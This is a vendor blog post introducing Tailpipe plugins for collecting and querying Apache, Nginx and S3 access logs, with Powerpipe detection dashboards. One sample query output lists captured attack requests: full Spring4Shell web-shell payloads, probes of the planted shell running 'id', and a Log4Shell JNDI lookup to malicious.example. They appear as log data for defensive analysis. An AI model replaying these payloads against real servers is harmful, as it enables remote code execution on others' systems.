# Analyze web access logs with Tailpipe > Track logs from Nginx, Apache, AWS S3, and more, then turn insights into real-time dashboards and detections. By Turbot Team Published: 2025-04-16 Tailpipe is great for collecting and analyzing logs from AWS, GCP, and Azure. With the release of the [Apache](https://hub.tailpipe.io/plugins/turbot/apache) and [Nginx](https://hub.tailpipe.io/plugins/turbot/nginx) plugins, you can now also collect web access logs from your web servers, query them, and visualize them in [Powerpipe](https://powerpipe.io). ## Configure and collect logs Before we can analyze our web access logs, we need to configure a Tailpipe [partition](https://tailpipe.io/docs/reference/config-files/partition) to collect them. With the [Apache plugin](https://hub.tailpipe.io/plugins/turbot/apache) installed, we can do this creating a partition in an `apache.tpc` file: ```hcl partition "apache_access_log" "my_logs" { source "file" { paths = ["/Users/mattstratton/logs_tailpipe/apache"] file_layout = `%{DATA}.log` } } ``` Now we can collect our logs! ```shell tailpipe collect apache_access_log.my_logs ``` We see that the logs are collected: ```shell Collecting logs for apache_access_log.my_logs Artifacts: Discovered: 3 Downloaded: 3 2.2MB Extracted: 3 Rows: Received: 10,572 Enriched: 10,572 Saved: 10,572 Files: Compacted: 3 => 2 Completed: 314ms ``` ## Select * from webserver Once we have our Apache logs collected, we can use the power of SQL to get answers to all sorts of questions. For example, we can find all the errors in our logs by looking for HTTP status codes greater than or equal to 400: ```sql select timestamp, remote_addr, status, request_method, request_uri from apache_access_log where status>= 400 order by tp_timestamp desc; ``` ```shell +---------------------+----------------+--------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | timestamp | remote_addr | status | request_method | request_uri | +---------------------+----------------+--------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 2025-04-10 23:48:23 | 45.95.147.236 | 404 | POST | /spring-app?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | | 2025-04-10 23:12:07 | 178.62.74.6 | 404 | GET | /backdoor.jsp?pwd=j&cmd=id | | 2025-04-10 22:49:45 | 61.177.173.18 | 404 | POST | /api/class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=backdoor&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | | 2025-04-10 22:49:22 | 61.177.173.18 | 404 | GET | /api/logs?message=${jndi:ldap://malicious.example:389/a} | | 2025-04-10 22:16:02 | 185.180.143.49 | 404 | POST | /spring/class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | | 2025-04-10 21:43:08 | 192.241.222.44 | 404 | POST | /api?class.module.classLoader.URLs%5B0%5D=0 | | 2025-04-10 21:17:51 | 167.94.145.59 | 404 | GET | /tomcatwar.jsp?pwd=j&cmd=id | | 2025-04-10 21:17:44 | 167.94.145.59 | 404 | POST | /class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | | 2025-04-10 20:56:19 | 35.203.210.60 | 404 | POST | /spring/class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | | 2025-04-10 20:12:35 | 137.184.224.89 | 500 | POST | /spring-demo/class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | +---------------------+----------------+--------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ``` Maybe we want to find out the top 10 high traffic sources: ```sql select remote_addr, count(*) as request_count, count(distinct request_uri) as unique_urls, sum(body_bytes_sent) as total_bytes_sent from apache_access_log group by remote_addr order by request_count desc limit 10; ``` ```shell +-----------------+---------------+-------------+------------------+ | remote_addr | request_count | unique_urls | total_bytes_sent | +-----------------+---------------+-------------+------------------+ | 192.168.4.25 | 6553 | 943 | +8371074 | | 192.168.4.163 | 3914 | 718 | +5785381 | | 192.168.1.20 | 62 | 29 | +23992 | | 45.56.108.128 | 2 | 2 | +346 | | 103.150.196.246 | 2 | 2 | +4368 | | 185.180.143.49 | 2 | 2 | +1783 | | 167.94.145.59 | 2 | 2 | +692 | | 178.62.74.6 | 2 | 2 | +5662 | | 45.95.147.236 | 2 | 2 | +1600 | | 61.177.173.18 | 2 | 2 | +692 | +-----------------+---------------+-------------+------------------+ ``` ## Custom log formats If you have customized your access log format, you can use the [`format`](https://tailpipe.io/docs/reference/config-files/format) block to specify a custom format. ```hcl format "apache_access_log" "minimal" { layout = `%h %l %u %t` # minimal format with fields client IP, remote logname, remote user, and timestamp } partition "apache_access_log" "minimal" { source "file" { paths = ["/Users/mattstratton/logs_tailpipe/apache/minimal"] format = format.apache_access_log.minimal file_layout = `%{DATA}.log` } } ``` We define the layout of the log lines in the `format` block, and then the `partition` definition refers to that format. ## Visualize in Powerpipe Running ad-hoc queries against your web access logs is great, but you probably want to visualize the data in a more user-friendly way. The [Apache Access Log Detections Mod for Powerpipe](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections) provides dashboards, benchmarks, and detections to make this easy.
Powerpipe main screen
Let's take a look at a few different ways we can visualize our web access data. ### Access Log Activity Dashboard [This dashboard](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections/dashboards/dashboard.activity_dashboard) gives an overview of the activity in your Apache logs, including the number of requests and errors. This includes web server server activity broken down by status code, user agent, and more, as well as graphing this infomation over time.
Powerpipe Access Log Activity Dashboard
### Access Log Detections In addition, the Apache Access Log Detections mod provides a set of [pre-built detections](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections/benchmarks) that you can use to identify potential security threats and exposure to vulnerabilities. The [Access Logs Detections dashboard](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections/benchmarks/benchmark.access_log_detections) includes detections for SQL injection, XSS, and other common web application vulnerabilities.
Powerpipe Access Log Activity Dashboard
### OWASP Top 10 These same detections can also be viewed in the context of popular frameworks such as the [OWASP Top 10](https://owasp.org/www-project-top-ten/). Use [this view](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections/benchmarks/benchmark.owasp_top_10_2021) to quickly see if your web server is exposed to any of the OWASP Top 10 vulnerabilities, and if so, which ones.
Powerpipe OWASP Top 10 dashboard
### MITRE ATT&CK Want to see these detections in the context of the [MITRE ATT&CK](https://attack.mitre.org/) framework? [This dashboard](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections/benchmarks/benchmark.mitre_attack_v161) will display the same detections in that context, allowing you to see how they relate to specific tactics and techniques.
Powerpipe MITRE ATT&CK v16.1 dashboard
## Other web access log formats These examples used Apache access logs, but you can also collect Nginx or [AWS S3 server access logs](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html) as well! ### Nginx access logs For Nginx, install the [Nginx plugin](https://hub.tailpipe.io/plugins/turbot/nginx), and then create a partition in an `nginx.tpc` file: ```hcl partition "nginx_access_log" "my_logs" { source "file" { paths = ["/Users/mattstratton/logs_tailpipe/nginx"] file_layout = `%{DATA}.log` } } ``` The same dashboards and detections that are available for Apache access logs are also available for Nginx access logs, using the same [Nginx Access Log Detections Mod for Powerpipe](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-nginx-access-log-detections). ### AWS S3 server access logs For AWS S3 server access logs, install the [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) and configure the partition appropriately. For example: ```hcl connection "aws" "logging_account" { profile = "my-logging-account" } partition "aws_s3_server_access_log" "my_s3_logs" { source "aws_s3_bucket" { connection = connection.aws.logging_account bucket = "s3-server-access-logs-bucket" } } ``` Similar to Apache and Nginx, you can visualize all this data in Powerpipe using the [AWS S3 Server Access Log Detections Mod for Powerpipe](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-s3-server-access-log-detections). ## See it in action
## Get started The [Apache](https://hub.tailpipe.io/plugins/turbot/apache) and [Nginx](https://hub.tailpipe.io/plugins/turbot/nginx) plugins for Tailpipe, along with the [Apache Access Log Detections](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-apache-access-log-detections), [Nginx Access Log Detections](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-nginx-access-log-detections), [AWS S3 Server Access Log Detections](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-s3-server-access-log-detections) mods for Powerpipe are available now. Start analyzing your web access logs today and [let us know](https://turbot.com/community/join) how it goes!